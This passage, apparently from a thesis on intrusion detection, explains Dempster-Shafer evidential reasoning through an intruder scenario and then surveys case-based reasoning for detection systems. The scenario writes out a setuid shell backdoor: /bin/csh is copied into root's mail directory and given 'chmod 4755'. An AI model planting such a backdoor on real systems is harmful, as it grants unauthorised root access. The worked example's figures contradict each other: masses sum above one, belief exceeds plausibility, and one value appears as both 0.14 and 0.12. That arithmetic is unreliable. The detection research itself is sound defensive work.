m_{\Theta}(A_h) = \frac{1}{1-k} \sum_{A_i \cap A_j = A_h} m_{\Theta}(A_i)m_{\Theta}(A_j),
\]

\[
k = \sum_{A_i \cap A_j = \emptyset} m_{\Theta}(A_i)m_{\Theta}(A_j).
\]

Dempster’s Rule is both commutative and associative (meaning evidence can be fused in any order) and has the effect of focusing belief on those propositions that are held in common.

2. **Translation** — to determine the impact of a body of evidence upon elements of a related frame of discernment. The translation of a BOE from frame $\Theta_A$ to frame $\Theta_B$ using the compatibility relation $\Theta_{A,B}$ is defined by:

\[
m_{\Theta_B}(B_j) = \sum_{C_{A \rightarrow B}(A_k) = B_j} m_{\Theta_A}(A_k),
\]

where $C_{A \rightarrow B}(A_k) = \{b_j \mid (a_i, b_j) \in \Theta_{A,B}, a_i \in A_k\}$. 

3. **Projection** — to determine the impact of a body of evidence at some future (or past) point in time. The *projection* operation is defined exactly as translation, where the frames are taken to be one time-unit apart.

4. **Discounting** — to adjust a body of evidence to account for the credibility of its source. Discounting is defined as

\[
m_{\Theta}^{\text{discounted}}(A_j) = \begin{cases} 
\alpha \cdot m_{\Theta}(A_j), & A_j \neq \Theta \\
1 - \alpha + \alpha \cdot m_{\Theta}(\Theta), & \text{otherwise}
\end{cases}
\]  

(3.6)

where \( \alpha \) is the assessed credibility of the original BOE (\( 0 \leq \alpha \leq 1 \)).

Independent opinions are expressed by multiple bodies of evidence. Dependent opinions can be represented either as a single body of evidence, or as a network structure that shows the inter-relationships of several BOEs. The evidential reasoning approach focuses on a body of evidence, which describes a meaningful collection of interrelated beliefs, as the primitive representation. In contrast, all other such technologies focus on individual propositions.

### 3.4.3 Analysis Using an Example

To illustrate the evidential reasoning method described above in a model-based intrusion detection system, we use the following example.

A user successfully logs in from a remote host after trying several bad passwords and usernames. The user enters several wrong command names and arguments and tries to look at some directories and files for which permissions for him is denied. The user also several times uses commands such as ‘finger’ to find out about other system users and activities. The user also copies the `/bin/csh` file into `/usr/spool/mail/root` where the root’s mail directory resides, and makes it a setuid file by `chmod 4755 /usr/spool/mail/root` command. After a few minutes, the user leaves. Who was this? Could it be an intruder or just an inexperienced user who was experimenting with the system?

In evidential reasoning the first step is to construct the sets of possibilities (the frame of discernment) for each unknown. For example, the user could either be an intruder or not; these possibilities can be represented in the *Intruder?* frame:
3.4. Evidential Reasoning (Dempster-Shafer Theory)

\{\text{Yes, No}\}

Other frames could also be constructed; Location will be included for user's location containing the possibilities:

\{\text{Local, Remote}\}.

Two types of location for a user is distinguished – local (i.e., physically at the keyboard) and remote. Because the majority of intruders do not have direct physical access to the locally connected terminals, a local keyboard is considered to indicate normal use and not an intruder. Most intrusions originate from remote internet sites. However, because an intruder can jump from host to host, intrusive behavior is also likely to appear originating from local hosts. Thus, activity originating from any location other than the local keyboard is considered equally indicative of intrusive behavior, so only the single category 'remote' will be used for this. For remote user, it can not be distinguished whether the user is an intruder based on this dimension of behavior alone.

An intruder is expected to be somewhat paranoid, therefore a frame, Fear, is included to capture paranoia level

\{\text{Paranoid, Calm}\}.

A paranoid intruder (one who is afraid of being caught) will probably have very short sessions (e.g., lasting under two minutes), because the longer the session the greater the risk of discovery. A paranoid intruder will also commonly check to see who is logged in and what they are doing. Thus, for example, in Unix an ordinate number of 'who', 'ps', and 'finger' commands can be expected to indicate a paranoid intruder. User sessions can be characterized as having a high degree of this sort of activity if two or more such commands are used. Therefore, short sessions and two or more “surveillance” commands are considered to be strong indicators of fear.

An intruder may also be unfamiliar with the system, so another frame, Familiarity, will be defined to contain:

\{\text{Familiar, Unfamiliar}\}.

A person who is unfamiliar with the computer system under attack is likely to have a relatively large number of invalid commands, resulting from attempts to execute commands that are not recognized by the system. Such a person is also likely to have a relatively large number of errors resulting from invalid command usage, for example,
too few arguments or invalid parameters. But this alone can not be a good measure to condemn a user to be an intruder, since the user might be inexperienced. This frame should be looked at in conjunction with other frames. A relatively large number of file permission errors, resulting from attempting to read, write, or execute files or directories when permission is denied, is also indicative of a person unfamiliar with the computer system under attack. Therefore, relatively large numbers of errors of these types are considered to be strong indicators of unfamiliarity with the system. Conversely, low error rates for all of these categories of error strongly suggest a normal, nonintrusive user.

Another frame can be constructed for the actions which raise the suspicion level, such as copying a file from /bin directory or trying to access somebody else’s mail file, etc. These actions can be represented in the Actions frame.

\{Malicious, Normal\}

Authentication errors result from the use of an invalid username or password during login. A high rate of authentication errors (greater than three failed login attempts for a given username in a certain time period) is considered to be strongly suggestive of an intrusion attempt.

Once the frames are defined, the next step is to construct the compatibility relations that define the domain-specific relationships between the frames. A connection between two propositions \(A_1\) and \(B_1\) indicates that they may co-occur (in other words, \((A_1, B_1) \in \Theta_{A,B}\)).

Figure 3.8 shows the frames and compatibility relations used in determining whether the user is an intruder.

![Figure 3.8: Frames and compatibility relations.](image)

Once the frames and compatibility relations have been established, the evidence can be analyzed. The goal of the analysis is to establish a line of reasoning from the evidence to determine belief in a hypothesis, in this case that the user is an intruder.
3.4. Evidential Reasoning (Dempster-Shafer Theory)

The first step is to assess each piece of evidence relative to an appropriate frame of discernment. Each piece of evidence is represented as a mass distribution, which distributes a unit of belief over subsets of the frame. For example, the fact that the user logged in from a remote host is pertinent to the Location frame, and 1.0 is attributed to Remote to indicate the complete certainty on this point.

The fact that the user had a high number of authentication errors leads to the belief that the user may be an intruder. Based on this, a likelihood of 0.75 is assigned to the possibility that the user is an intruder.

The high number of command usage and file permission errors gives information about Familiarity. Based on the number and types of errors, a belief of 0.7 is assigned to the possibility, Unfamiliar; the remaining 0.3 is assigned to Familiar.

The user tried some commands that at least two of them can be interpreted as his malicious intentions that might give information about Actions. Based on this belief, a likelihood of 0.8 is given to the possibility that user's actions have been malicious.

The last piece of evidence, that the user used several "surveillance" commands and had a short session, gives information about Fear. It might be assessed as giving 0.75 support that the user is Paranoid and 0.25 that the user is Calm and this is usual behavior for that user (perhaps the user is a system administrator).

![Diagram](image)

Figure 3.9: Frames and compatibility relations.

In this example, beliefs about paranoia levels, system familiarity, actions and, in the case of authentication errors, directly from interpretations over various types of audit data are drawn. These processes can also be represented directly in evidential reasoning, at the cost of some additional complexity. In practice, reasoning processes will be required to include more extensive analysis of this sort.

Evidence from these sources will provide the inputs to the analysis. Many of these determinations are judgments that may not be of equal validity. In order to be able
to weight them differently, a means for discounting the impact of the evidence through the discounting operation will be provided. This will allow the change in their relative weights.

The final step is to construct the actual analysis of the evidence as shown in Figure 3.9 to determine its impact upon the question at hand. In this case the question of whether the user is an intruder can be answered by an assessment of belief over elements in the **Intruder?** frame. Evidential operations can be used to derive a body of evidence providing beliefs about whether the user is an intruder.

In the analysis in Figure 3.9, all sources except **Location** source are discounted. The **Authorization Errors** source provides information directly about the likelihood of an intruder, but the others must all be translated to the **Intruder?** frame. After translation, these independent BOEs are represented relative to a common frame and can be combined using the **fusion** operation (i.e., Dempster's Rule). Fusing the mass distributions yields a mass distribution relative to the **Intruder?** frame, from which conclusions as to whether the user is an intruder can be drawn.

In this case, to calculate $m_{\text{Intruder&Location}}(x)$, which is the translation of **Location** frame into **Intruder?** frame, the following table can be constructed:

<table>
<thead>
<tr>
<th></th>
<th>Intruder</th>
<th>~Intruder</th>
</tr>
</thead>
<tbody>
<tr>
<td>Local</td>
<td>0.75</td>
<td>0.25</td>
</tr>
<tr>
<td>Remote</td>
<td>1</td>
<td>0.75</td>
</tr>
</tbody>
</table>

which yields

$$m_{\text{Intruder&Location}}(x) = \begin{cases} 
0.75 & (x = \text{Intruder}) \\
0.25 & (x = \neg\text{Intruder}) 
\end{cases}$$

In this calculation, there has been no discounting or $\alpha = 1$.

Calculating for the remainder of the graph in Figure 3.9 the conclusion is

$$m_{\text{Intruder?}}(x) = \begin{cases} 
0.89 & x = \{\text{Yes}\} \\
0.14 & x = \{\text{No}\} 
\end{cases}$$

Assessing the support and plausibility for the answers **Yes** and **No** to the question of whether the user is an intruder, the associated evidential intervals for the atomic propositions in this mass distribution are:
3.5 Advantages and Disadvantages

\[
\begin{align*}
[\text{Bel}(\{ Yes \}), \text{Pl}(\{ Yes \})] &= [0.89, 0.88] \\
[\text{Bel}(\{ No \}), \text{Pl}(\{ No \})] &= [0.12, 0.11]
\end{align*}
\]

The hypothesis \{ Yes \} is clearly the most likely and it can be concluded that the user is actually an intruder.

For a proof of why the interval \([\text{Bel}(x), \text{Pl}(x)]\) is an appropriate measure for strongly supporting a particular hypothesis \(x\), see [183].

3.5 Advantages and Disadvantages

The advantages of Bayesian and Dempster-Shafer approaches for intrusion detection are:

1. They are based on a mathematically sound theory of reasoning in the presence of uncertainty. This is in contrast to expert system approaches of dealing with uncertainty where retraction of intermediate conclusions is not easy, as evidence to the contrary accumulates. Expert systems also have difficulty in explaining away conclusions that are contradicted by later asserted facts. These problems can be avoided in the evidential reasoning approach (Dempster-Shafer Theory).

2. They can potentially reduce substantial amounts of processing required per audit record by monitoring for coarser-grained events in the passive mode and then actively monitoring for finer-grained events as coarser events are detected.

3. The Translator (see Figure 3.1) provides independence of representation from the underlying audit trail representation.

The disadvantages are:

1. These approaches place an additional burden on the expert creating the intrusion detection model to assign meaningful and accurate evidence numbers to various parts of the graph representing the model.

2. Since there is no implementation in this research, the runtime efficiency of these two approaches has not been demonstrated. It can not be clear from the model description how behaviors can be compiled efficiently in the translator and the effect this will have on the runtime behavior of the detector.
3.6 Summary

This chapter described how methods of dealing with uncertainty, namely Probabilistic and Evidential Reasoning, allow the system to detect intrusions more effectively. Probabilistic and Evidential Reasoning provide a natural representation of approximate and uncertain information. Evidential reasoning also provides a formal basis for the key operations of fusion and translation needed to integrate multiple sources of information.

The use of Expert System technology allows certain intrusion scenarios to be specified much more easily and naturally than is the case of using other technologies. However, expert system technology provides no support for developing models of intrusive behavior and encourages the development of ad hoc rules.
Chapter 4

A Case-Based Approach to Intrusion Detection

4.1 Introduction

A major weakness in current rule-based intrusion detection systems is their direct dependence on audit record fields. In today’s systems, rule-bases are represented in terms of the expected audit trails of intrusions, and these tools essentially match patterns and bind rules in their knowledge-base to audit records. Unfortunately, there is very little flexibility in this one-to-one (rule-to-audit record) representation. For a given intrusion scenario there may be several potential audit record sequences which will produce slight variations of the same intrusion. Therefore, even if a scenario is represented in the rule-base, a minor variation to the scenario can slip by unnoticed. One solution to improving the flexibility of the system’s ability to identify intrusion scenarios is to use higher-level representations in a case-based reasoning system (CBR) [107, 92] (i.e., scenario representation independent from audit record sequences).

Another limitation to current intrusion detection expert systems is their inability to foresee an impending compromise and preempt or limit the damage before it occurs. Intrusion detection systems should be designed with prediction in mind. At best, most of the current intrusion detection systems report compromises after they are completed or take measures to terminate an intrusive process once the damage has begun. Most of the current approaches are designed with little, if any, reasoning capabilities allowing them to take preemptive actions before a compromised state is reached. Intrusion detection systems should be able to anticipate an impending compromise with some measure of confidence and either forewarn the system administrator or take steps to preempt an intrusion before it achieves its compromise.

Last but not least, current intrusion detection expert systems are neither easily created nor easily updated. In general, expert rule-bases tend to be non-intuitive, requiring
the skills of experienced knowledge engineers to update them; rule-based intrusion detection systems are no exception. These systems are created by interviewing system administrators and security analysts to collect a suite of known intrusion scenarios and key events that are threats to the security of the target system. The knowledge engineer then identifies the audit records that correspond to the scenario or key event, and constructs the rules to represent the intrusion based on the expected audit records. The development of the rules are ad hoc and provide little chance, if any, for them to be updated on-site, as the target system’s local administrators see fit. Procedures that allow system administrators and security analysts to develop and incorporate intrusion rules into the rule-base locally should be provided. Doing so will result in more effective rule-base management allowing a site-specific policy and new intrusions to be incorporated into the system in a timely manner.

This chapter describes an approach to intrusion detection that addresses the weaknesses found in current intrusion detection systems. The aim of this chapter is to design an intrusion detection system that uses in-exact and case-based reasoning techniques to incorporate learning capability and achieve high reliability in intrusion detection. The research is new as all existing expert system intrusion detection systems use definite rule-based and model-based approaches which result in static systems that fail to detect new intrusions and, because of the definitive nature of rules, produce frequent false alarms. The goals of this research are:

- To reduce false alarms by using uncertainty measures whereby risks are quantified within in-exact terms such as ‘high’ and ‘low’.
- To provide memory and learning abilities for the system by employing case-based reasoning which together with uncertain reasoning allow the system to match, retrieve and adapt previous cases of intrusions.

Parts of this chapter have been published in the Proceedings of the Twelfth Annual Computer Security Applications Conference [54].

4.1.1 Why Case-Based Reasoning?

Case-based Reasoning (CBR) approach is appealing for two major reasons. First, the process is relatively simple. It resembles the process humans use in most situations. It allows a reasoner to copy what has been done before, even if the reasoner does not understand what is happening. Second, case-based reasoning provides a way of dealing with an uncertain world [107]. If it is not possible to predict what might happen
with certainty, or if the desired knowledge is missing, we use the fact that the world is continuous. What was true yesterday is likely to be true today. Cases record the past, giving us and our computers a way to make assumptions about the present.

The CBR approach holds key benefits with respect to solving intrusion detection problems. It reduces the number of false alarms and also increases the number of detected intrusions in the system. It helps to incorporate uncertain reasoning in intrusion detection system.

4.2 Overview of Case-Based Reasoning

Case-based reasoning (CBR) focuses on using the solutions to past problems in developing solutions to new problems [107]. The major advantage of this approach over conventional rule-based expert systems is that when presented with a similar problem, CBR systems do not re-reason from an initial set of facts and rules. Instead it uses its memory of what worked in the past.

In case-based reasoning, new problems are approached by recalling similar ones and moving forward from there. New situations are interpreted by comparing and contrasting them with previous similar situations. Stories are understood and inferences are made by finding the closest cases in memory, comparing and contrasting with those, making inferences based on those comparisons, and asking questions when inferences can not be made. Learning occurs as part of the process of integrating a new case into memory.

In comparison to rule-based systems, case-based reasoning offers several important advantages:

- Case-based reasoning is intuitively appealing because it is similar to many human problem-solving methods, particularly diagnosis and classification.

- Case-based approach enables us to handle poorly structured domains such as strategic planning, intrusion detection and engineering design in which knowledge is very difficult to represent completely, using rules.

- In case-based reasoning learning process can be handled more easily and effectively.

Human problem-solving is based somewhat on the application of past experiences to the current problem. Experts become experts by doing and experiencing. In rule-based expert systems, an expert's knowledge is represented as compiled knowledge, that is, rules of thumb, short cuts and so forth. In traditional expert systems, building and using
reasonably complete domain models or acquiring large bodies of rules can be extremely difficult due to inexpressive representation languages, or simply the sheer volume of knowledge.

The concept of Case-based Reasoning, on the other hand, is founded on the idea of using explicit documented experiences to solve new problems. The current problem is compared to a set of previous examples (cases) and the most similar case is used to suggest a solution to the new problem. Major issues in CBR include case storage, case indexing, case matching, case retrieval and case adaptation. A case-based reasoning system consists of three basic components:

1. Case Base,
2. Recall Module and
3. Adaptation/Interpretation Module.

Case-based reasoning can mean adapting old solutions to meet new requirements, or reasoning from cases to interpret or explain a new situation. Thus, in general, there are two kinds of case-based reasoning: problem-solving and interpretive reasoning. Problem-solving CBR involves the subtasks of recalling previously known cases from memory and adapting these cases to fit the current problem. Examples of problem-solving tasks include design, planning and diagnosis. Old solutions can provide almost-correct solutions and can warn of potential mistakes and failures.

![Figure 4.1: (a) Problem-solving model of CBR, (b) Interpretive model of CBR](image)

An interpretive reasoner uses cases to evaluate and interpret a new situation. Interpretive CBR is a process of evaluating situations or solutions in the context of previous
experiences. Examples of interpretive reasoning tasks include classification, situation assessment and troubleshooting. Interpretive reasoners can evaluate a solution, when no clean-cut methods are available, whose boundaries are open-ended and fuzzy.

Figure 4.1 illustrates these two CBR models diagrammatically. The major modules are described briefly below:

**Case-Base Module** contains old cases of a particular problem domain. Each case represents the description of a previously encountered and solved problem. The organization of the cases in the case-base is very important as it determines the ease of recalling cases when needed.

**Recall Module** simply identifies the most relevant cases to the situation. Recalling consists of two sub-steps: retrieve previous cases and select the best subset. The recalled cases serve two kinds of purposes: to provide suggested solutions to problems and to provide context for understanding or assessing a situation. Since case-based approach involves finding similar cases from the case-base and using them to find solutions for new situations, retrieving and selecting cases play critical roles in case-based reasoning.

**Adaptation** is the process of fixing an old solution to meet the demands of the new situation. A number of strategies have been identified for adaptation, including insertion, deletion and substitution.

**Interpretation** is the process of comparing the new situation with recalled cases. When problem situations are interpreted, they are compared and contrasted to old problem situations. The result is an interpretation of the new situation, the addition of inferred knowledge about the new situation, or classification of the situation.

The construction and organization of a library of cases (case base) is a critical task. The cases in the library must be indexed to allow for efficient retrievals. How these indices are expressed is a key issue in case-based reasoning because if they are defined too broadly, too many cases may be retrieved as similar to the problem. Conversely, if they are expressed too specifically, there may be no case deemed similar.

With this library of pre-analyzed cases, a new problem is considered by first representing it in the same form as the stored cases and then matching it against stored cases to find the most closely matching cases. If there is a closely matching case with a successful solution, that solution is copied or adapted to fit the new problem. The adaptation can be performed with specially designed adaptation functions or rules.

If possible, the system obtains additional information about the success or failure of the new solution from the user. Then, the new case can be added to the case library to help solve the same kind of problem again in the future (learning procedure).
Thus the main technical steps in building a case-based reasoning system are
1. designing the representation,
2. selecting and implementing the indices,
3. designing the matching method, and
4. developing the rules for adapting existing solutions to new problems.

A very general flowchart of a case-based reasoning system is illustrated in Figure 4.2 [162].

4.2.1 CBR vs. RBS
Second generation expert systems tend to combine multiple representations, inference strategies and learning methods within a single system so that different paradigms can complement each other. The conventional rule-based approach has the advantage of simplicity, uniformity, and proven records of handling heuristic knowledge effectively. However, rule-based expert systems have limited capability in self training.
On the contrary, case-based reasoning has the advantages of eliminating the most difficult knowledge acquisition task, and more importantly learning by accumulated experience or cases. However, the indexing, searching and adaptation of cases are quite complex and are also expensive in terms of run-time performance. So, one possible solution is to combine the case-based and rule-based approach in such a way that accumulated cases in the case base can be generalized as rules. In such situations, the expert system is able to use rules to establish patterns, if they are available, and delegates the problem to the case-based reasoner only when it cannot be handled by the rule-based component. Table 4.1 gives a comparison of case-based and rule based reasoning.

<table>
<thead>
<tr>
<th>Criterion</th>
<th>Rule-based Reasoning</th>
<th>Case-based Reasoning</th>
</tr>
</thead>
<tbody>
<tr>
<td>Knowledge unit</td>
<td>Rule</td>
<td>Case</td>
</tr>
<tr>
<td>Granularity</td>
<td>Fine</td>
<td>Coarse</td>
</tr>
<tr>
<td>Knowledge acquisition units</td>
<td>Rules, hierarchies</td>
<td>Cases, hierarchies</td>
</tr>
<tr>
<td>Explanation mechanism</td>
<td>Backtrack of rule firings</td>
<td>Precedent cases</td>
</tr>
<tr>
<td>Characteristic output</td>
<td>Answer, plus confidence measure</td>
<td>Answer, plus precedent cases</td>
</tr>
<tr>
<td>Knowledge transfer</td>
<td>High, if backtracking</td>
<td>Low</td>
</tr>
<tr>
<td>across problems</td>
<td>Low, if deterministic</td>
<td></td>
</tr>
<tr>
<td>Speed as a function of</td>
<td>Exponential, if backtracking</td>
<td>Logarithmic, if index tree balanced</td>
</tr>
<tr>
<td>knowledge base size</td>
<td>Linear, if deterministic</td>
<td>Domain vocabulary</td>
</tr>
<tr>
<td>Domain requirements</td>
<td>Domain vocabulary</td>
<td>Database of example cases</td>
</tr>
<tr>
<td></td>
<td>Good set of inference rules</td>
<td>Stability – a modified good solution is still good</td>
</tr>
<tr>
<td></td>
<td>Either few rules or</td>
<td>Many exceptions to rules</td>
</tr>
<tr>
<td></td>
<td>Rules apply sequentially</td>
<td>Rapid response</td>
</tr>
<tr>
<td></td>
<td>Domain mostly obeys rules</td>
<td>Rapid knowledge acquisition</td>
</tr>
<tr>
<td></td>
<td>Flexible use of knowledge</td>
<td>Explanation by examples</td>
</tr>
<tr>
<td>Advantages</td>
<td>Potentially optimal answers</td>
<td>Suboptimal solutions</td>
</tr>
<tr>
<td></td>
<td>Computationally expensive</td>
<td>Redundant knowledge base</td>
</tr>
<tr>
<td></td>
<td>Long development time</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Black-box answers</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Difficult to acquire rules</td>
<td></td>
</tr>
</tbody>
</table>

Table 4.1: Comparison of Case-based and Rule-based Reasoning.

4.3 Case-Based Reasoning Concepts

Several properties of cases are:

- A case represents specific knowledge tied to a context. It records knowledge at an operational level.

- Cases can come in many different shapes and sizes, covering large or small time slices, associating solutions with problems, outcomes with situations, or both.
• A case records an experience different from what is expected. Cases worthy of recording teach a useful lesson. Useful lessons are those that have the potential to help a reasoner achieve a goal or set of goals easier in the future or that warn about the possibility of a failure or point out an unforeseen problem [107].

The two major parts of a case are: the lesson(s) it teaches and the context in which it can teach its lesson(s). The lesson it teaches comprise the case 'content'; the context in which it can teach those lessons are its 'indices'. Indices record under what circumstances it is appropriate to retrieve the case.

This section discusses the following issues:

1. What is in a case.
2. How a case is represented.
3. What formalisms and methodologies are appropriate for representing cases.
4. How the cases are organized and indexed in the memory.
5. How the cases are matched, retrieved, ranked and selected.
6. How the selected cases can be used to evaluate the new situation.
7. How the new knowledge can be incorporated in the case memory (case update and learning).

4.3.1 Case Representation

What is in a case?

There are many schemes for organizing information in a case. In its simplest form, a case is a list of features that lead to a particular outcome. For example, a personal loan from a bank and whether or not the loan was approved, or a patient history and the associated diagnosis. In its complex form, a case is a complex entity that needs to be broken into subcases that form the problem solving structure. For example, the design of an airplane or building. The design is made up of subdesigns of the components, each of which could be considered a case unto itself.
4.3 Case-Based Reasoning Concepts

Case Representation Schema

In order for a knowledge system to use domain specific knowledge, it must have a language for representing that knowledge. The basic criterion for a knowledge representation language follows [65]:

- **Expressive power**: Experts should be able to communicate their knowledge effectively to the system.
- **Understandability**: Experts must be able to understand what the system knows.
- **Accessibility**: The system should be able to use the information it has been given.

The representation of the contents of each case defines how the information about a case is organized either as a set of attribute-value pairs, part-subpart relationships, or a network of attributes [137]. Representing a case as attribute-value pairs, illustrates the relevant decisions in the previous case and the specific values associated with each decision. Representing a case as a hierarchy of part-subpart relationships facilitates representation and reasoning about large and/or complex cases. The hierarchical representation includes relationship knowledge. The network-based representation of cases can build upon the hierarchical representation with multiple attribute-value pairs in each node and allowing additional types of relationships to be represented, or it can be similar to a semantic network where the nodes in the network represent a single feature of the case.

The representation of a case is usually generalized for all cases in the case memory, so that all cases are described by the same set of attributes or sub-part relationships, or all cases are described as networks of attributes. In this way, the organization of cases in the case memory provides a template or model for defining the content of a case and for adding new cases to an existing case memory. This stage in the development of a case-based reasoning system results in a clearer definition of the contents of the case memory and the representation schema relevant to a case-based reasoning solution to a class of problems.

Case-based reasoning systems represent cases in a variety of ways including, frame representation [66], semantic network representation [160] and conceptual structure [178].

Frame-Based Representation

Representing knowledge about some aspect of the world is fundamental to most AI systems. This is true of all kinds of AI systems: expert systems, natural language
interfaces, text understanding systems, etc. It is also true for all kinds of domains over which these systems operate.

Over the last 35 years the AI community has devised and experimented with a variety of special purpose languages for representing knowledge [66]. These languages attempt to provide AI programmers with a tool to ease the task of encoding domain knowledge and allow the system to effectively and efficiently use this knowledge.

Although no single representation language is likely to be optimal or even satisfactory for all types of systems or domains, a small number of generic types of representation languages have been found to have very attractive properties for a wide class of applications. Frame-based representation languages (FBRLs) form one of these classes.

Representing knowledge in graph-like structures has a rich tradition in philosophy and psychology. At the end of the nineteenth century, the philosopher C. S. Pierce used a graph-like notation for the representation of logical sentences [125]. This approach to representing human knowledge has been further pursued since by many researches, yielding explicit psychological models of human memory and intellectual behavior. In particular, the area of natural language processing has contributed much to the research on the representation of information in graph-like structures. These graph-like structures are usually called semantic nets or associative nets. In fact, the earliest use of graph-based representations in computers was for machine translation. R. Quillian [160] for example, in the early 1960s, used the semantic net formalism for representing meanings of English words in terms of associative links to other words, yielding a dictionary-like representation; he developed a program for finding relationships between words by traversing the net. Through this work, Quillian has given a major impetus to the research on graph based representations and their use in AI systems. He is generally credited with the development of the semantic net in its original form.

A semantic net is usually depicted as a labeled directed graph, consisting of vertices and labeled arcs between vertices; such a graph is sometimes further restricted by the requirement to be acyclic [125]. Several disciplines have influenced the original idea of a semantic net as it was introduced in the 1960s; each discipline has brought its own interpretation of the vertices and arcs and each discipline has adapted the notion of the semantic net in certain ways to arrive at a more structured formalism suitable for its own purpose. As a consequence, there is hardly any consensus as to what a semantic net is, nor is there any consensus as to what meaning should be ascribed to the basic elements of such a semantic net.

As mentioned before, a semantic net is usually depicted as a labeled directed graph.
Each vertex in the graphical representation of a semantic net is taken to represent a concept. The arcs of the graph represent binary relations between concepts. The following example shows how knowledge is represented in a semantic net.

**Example 4.1** Consider the following statement concerning computer users:

'Students are part of computer users.'

This statement comprises two concepts: the concept 'students' and the concept 'computer users'. These concepts are related in the sense that the first concept, the 'students', forms a part of the second concept, the 'computer users'. This knowledge is represented by means of the graph shown in Figure 4.3. The concepts are depicted by ellipses, labeled students and computer users; the relation between the concepts is represented by means of an arc labeled part-of.

Figure 4.3: A graphical representation of a semantic net.

For handling more complicated problem domains and for dealing with more sophisticated forms of inference, the semantic net formalism, as devised by Quillian, soon proved to be too limited. Much of the later work on semantic nets has therefore been directed towards more structured formalisms, again mostly for natural language processing. Semantic nets have seldom been used for building expert systems. Nevertheless, some characteristics of the formalism shall briefly be discussed, since the semantic net is often viewed as a precursor of the frame formalism, which is applied much more frequently within expert systems.

The basic idea underlying the notion of frames has already been posed at the beginning of this century by the psychologist O. Selz [125]. He considered human problem solving as the process of filling in the gaps of partially completed descriptions. The present notion of frames was introduced in the mid-1970's by M. Minsky [142] for exerting semantic control in a pattern recognition application. Since its introduction, however, the frame formalism has been employed in several other kinds of knowledge-based systems as well. The general idea of the frame-based system is that all knowledge concerning individual or classes of individuals, including their interrelationships, is stored in a complex entity of representation called a frame. Instead of the term frame, the terms unit, object and concept are often used in the literature. A set of frames representing the
knowledge in a domain of interest is organized hierarchically in what is called a taxonomy. Such a taxonomy forms the basis of a method of automated reasoning called inheritance.

Figure 4.4: A typical Frame.

FBRLs are essentially object-oriented languages in which representation consists of a set of frames. In most FBRLs, a frame can represent either an individual object in the domain (for example, George Washington, the integer three, the king of France in 1685, the largest prime number, the UNIX copy command) or a generic class of objects (for example, US Presidents, positive integers, heads of European states, prime numbers greater than 100, UNIX commands). Note that representing an individual does not imply its existence in any possible world.

FBRLs typically have a number of features that distinguish them from other representational systems, which are:

Generalization hierarchy. The frames are organized into a generalization hierarchy in which frames inherit information from their ancestors.

Slots. A frame has a number of subunits, called slots, which can take on values or describe, in general terms, constraints on what their values can be.

Limited reasoning services. The functions for creating, modifying, and accessing the representation provide a limited number of reasoning functions, such as attribute inheritance, default reasoning, constraint checking and classification of new frames.

The core of a representation is a collection of frames organized into a generalization/specification hierarchy (also commonly referred to as an abstraction hierarchy or taxonomy) defined by primitive directed links. A typical frame is illustrated in Figure 4.4.
Frame based languages provide a structured representation of an object or class of objects. For example, one frame might represent a computer user, and another a whole class of computer users (See Figure 4.5). Constructs are available in a frame language for organizing frames that represent classes into taxonomies. These constructs allow a knowledge base designer to describe each class as a specialization (subclass) of other more generic classes. Thus, students can be described as users plus a set of properties that distinguish them from other computer users.

![Figure 4.5: An example of a frame hierarchy for computer users class.](image)

The advantages of frame languages are considerable, they capture the way experts typically think about much of their knowledge, provide a concise structural representation of useful relations (which makes the classification, retrieval and matching jobs much easier), and support a concise definition-by-specialization technique that is easy for most experts to use. In addition, special-purpose deduction algorithms have been developed that exploit the structural characteristics of frames to rapidly perform a set of inferences commonly needed in knowledge-system applications.

However, frames also have some disadvantages:

1. frames handle descriptive knowledge efficiently, but fail to handle heuristic knowledge.

2. A large network of frames is difficult to understand and maintain.

### 4.3.2 Case Indexing

A case-based reasoning system derives its power from its ability to retrieve relevant cases quickly and accurately from its memory. The indices of a case designate in what circumstances the case should be retrieved. Considering every case as teaching a set of lessons, indices represent the circumstances under which a lesson should be taught.
In a case-based system indexing can be done using one or a combination of the following methods:

1. Flat memory with preferences. This method uses ‘nearest neighbor matching’ algorithm. In this method, cases are stored sequentially in a simple list and the retrieval process can take care of the constraints.

2. Inductive learning. This method uses different inductive learning algorithms, such as C4.5, to capture meaningful indices from the cases and arrange them in the memory properly.

3. Knowledge guided indexing. In this method an expert helps to index the cases (expert selection) or a rule-based system can be used to index the cases.

### 4.3.3 Memory Organization

Cases can be organized in the memory in several ways:

- **Flat Memory Structure**
  - List of cases: Cases are stored sequentially in a simple list, an array or a file (see Figure 4.6). To do this, one can get the name of all the cases, store these names in a list, array or a file. Cases are retrieved by applying a matching function sequentially to each case in the memory. This method is expensive when the case library is very large.

- Feature-based: A set of key features of the domain are used as indices. Key features used to discriminate cases are identified based on the representations of cases and/or domain. Then the cases are partitioned into subsets and each subset is pointed by one key feature. The key features are stored as a list, an array or in a file. During case retrieval, only those cases that have the features of the new problem are searched and matched.

![Figure 4.6: Flat Memory Organization of cases](image-url)
4.3. Case-Based Reasoning Concepts

• Hierarchical Memory Organization
  When a case memory is very large, there is a need to organize cases hierarchically so that only some small subset need to be considered during retrieval (see Figure 4.7). The hierarchical structure for case indices can be automatically derived using conceptual clustering methods.

![Hierarchical Memory Organization of cases](image)

Figure 4.7: Hierarchical Memory Organization of cases

4.3.4 Case Matching and Retrieval

Recalling a case from the case memory is a pattern matching problem that is based on the specification of a new problem. A new problem may be specified as a set of attribute-value pairs, as a set of constraints or conditions on the values of each attribute, or as network of attributes. Given a specification, the recall process can be decomposed into three tasks [137]:

1. match,
2. retrieve, and
3. select.

Case matching is the process of comparing the new problem and a stored case and determining their degree of match. It is important to consider cases that are similar but not exact matches. Case retrieval is the process of recalling relevant cases from case memory when given the new problem situations.

In order to index cases in the case memory the specification of a new problem is transformed into a pattern to be matched. The pattern may be taken directly as the
system receives the specification or it may be modified, for example, to include an order of importance of the attributes.

4.3.5 Case Ranking and Selection

Ranking is the process of ordering partially matched cases according to goodness or usefulness of the match. In the selection process the case(s) contributing most to the final solution is selected. In other words, the selection task in CBR orders the retrieved cases to determine which case is the best match. The selection process on the pattern used to index the case memory. If the pattern is a set of weighted features and each retrieved case is ranked according to the weight of matching features, selection is based on the retrieved case with the highest ranking. If the pattern is simply a set of features, then selection is based on the case with the most features in common with the indexing pattern. Selection is the result of ranking of the retrieved cases, where there are more than one matching the case.

4.3.6 Case Adaptation

